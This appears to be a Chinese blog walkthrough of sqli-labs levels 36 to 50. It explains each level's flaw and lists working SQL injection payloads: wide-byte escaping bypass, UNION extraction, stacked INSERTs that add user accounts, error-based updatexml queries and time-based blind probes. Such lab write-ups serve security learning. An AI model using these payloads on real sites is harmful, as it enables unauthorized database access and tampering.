漏洞重温之sql注入(八)

漏洞重温之sql注入(八)

sqli-labs通关之旅

Less-36

首先,我们现在Url中给出id参数。我们可以根据这个来判断出该位置的注入为get型。接着我们看网站源码。

根据源码,我们可以看到,网页首先封装了一个函数,这个函数使用mysql_real_escape_string()来过滤我们的输入。

但是同时,根据sql语句上面的代码块,我们可以发现,网页采用了gbk编码,所以在这个地方,我们可以选择使用宽字节注入来绕过过滤。

构造payload:

1%df%27 and 1=2 union select 1,version(),database() -- 

第三十六关,通关。

Less-37

从网站页面,可以看出,该位置的注入属于post型,查看源码。

从代码上,我们可以看到,网站对我们输入的uname参数和passwd参数同样适用了mysql_real_escape_string函数进行转义,同样,在sql语句上面,提示我们这里使用了gbk编码。所以这一关跟36关的区别只是将get型注入转变成了post型。

payload:

1%df%27 and 1=2 union select version(),database() -- 

这里我们在uname位置注入和passwd位置注入效果一样。

第三十七关,通关。

Less-38

直接看源码

首先我们关注mysql_multi_query这个函数,该函数的功能是执行一个或多个针对数据库的查询,多个查询用分毫进行分隔。也就是说,这里可以使用堆叠注入,而只有网站使用了这个函数,才能进行堆叠注入。我们可以在参数后面加上分号,然后在分号后面加入注入的新语句。

但这里我们使用常规的方法进行注入即可。因为网站对我们的输入没有进行任何转义。

payload如下:

1' and 1=2 union select 1,version(),database() -- 

第三十八关,通关。

Less-39

查看网站源码。

跟上一关一样,也是堆叠注入,这里的参数没有任何符号包裹,所以我们可以直接在url中拼接sql语句,不需要闭合。

payload如下:

1 and 1=2 union select 1,version(),database()

第三十九关,通关。

Less-40

查看网站源码。

依然是堆叠注入,只是参数外面的包裹字符不同。

payload:

1') and 1=2 union select 1,version(),database() -- 

第四十关,通关。

Less-41

查看网站源码。

堆叠注入,无过滤,参数无包裹。

payload:

1 and 1=2 union select 1,version(),database() -- 

第四十一关,通关。

Less-42

熟悉的登录页面,但是在尝试过新建用户和找回密码全部不可用之后,明白这里不是二阶注入,查看源码。

可以看到,网页在登录的时候并没有对我们提交的参数进行过滤,同时因为在网页上并没有显示位,所以我们可以利用Insert语句来在数据库中新建一个用户。

payload如下:

1';insert into users values(50,'xiaoming','xiaoming') -- 

插入完成。

第四十二关,通关。

Less-43

四十三关也是一样的套路,只是包裹参数的符号从单引号变成了括号单引号。

payload如下:

1');insert into users values(60,'xm','xm') -- 

第四十三关,通关。

Less-44

四十四关,也是一样的解法。

payload如下:

1';insert into users values(77,'xb','xb') -- 

第四十四关,通关。

Less-45

套路一致。

payload:

1');insert into users values(87,'xiaohong','xiaohong') -- 

第四十五关,通关。

Less-46

首先,我们先在Url中添加上sort参数。

然后,查看源码。

这里,我们可以看到,这里的sql语句变成了。

$sql = "SELECT * FROM users ORDER BY %id";

而这里,我们可以利用order by 进行注入。

最常见的办法就是使用报错注入。

payload如下:

1 and updatexml(1,concat(0x7e,(database()),0x7e),1)

第四十六关,通关。

Less-47

查看源码。

套路一样,就是参数外面多了一个单引号包裹。

payload如下:

1' and updatexml(1,concat(0x7e,(database()),0x7e),1) -- 

第四十七关,通关。

Less-48

这一关的基本套路还是一致的,都是order by注入,但是因为这一关没有打印错误信息的代码,所以我们没办法通过报错注入来获取信息。

但是order by注入,也是可以使用时间盲注。

payload如下:

1 and if(length((database()))<1,1,sleep(0.3))
1 and if(length((database()))<10,1,sleep(0.3))
1 and if(substr((database()),1,1)='s',1,sleep(0.3))
1 and if(substr((database()),1,1)='a',1,sleep(0.3))

因为无法通过截图给你们展示效果,所以payload留下,可以自己尝试,我已经试过了。

第四十八关,通关。

Less-49

四十九关同样也是盲注,但是注意参数外面使用了单引号进行包裹,所以我们的payload里也需要使用单引号进行隔断。

payload如下:

1' and if(length((database()))<1,sleep(0.1),1) -- 
1' and if(length((database()))<10,sleep(0.1),1) -- 

第四十九关,通关。

Less-50

可以看到,第五十关是存在报错函数的,也就是说,在这里我们就可以使用报错注入来进行绕过了。

payload如下:

1 and updatexml(1,concat(0x7e,(database()),0x7e),1)

第五十关,通关。

posted @ 2020-09-09 04:03  小明-o3rr0r  阅读(274)  评论(0编辑  收藏  举报